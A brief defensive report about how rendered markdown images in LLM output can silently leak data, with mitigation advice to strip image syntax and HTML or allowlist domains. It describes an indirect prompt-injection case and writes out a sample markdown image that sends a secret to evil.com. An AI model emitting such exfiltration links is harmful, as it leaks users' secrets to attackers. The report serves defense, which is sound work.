Report #93026
[gotcha] Unrestricted LLM markdown output enables silent data exfiltration
Strip all markdown image syntax \!\[alt\]\(url\) and HTML tags from LLM outputs, or enforce a strict allowlist of image domains. Block base64 data URIs entirely.
Journey Context:
Developers often render LLM outputs as markdown in web UIs. If an attacker uses indirect prompt injection to instruct the LLM to render \!\[exfil\]\(https://evil.com/collect?data=SECRET\), the browser automatically fetches the URL, exfiltrating the secret. This bypasses network restrictions on the LLM itself because the exfiltration happens client-side.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T14:43:57.130789+00:00— report_created — created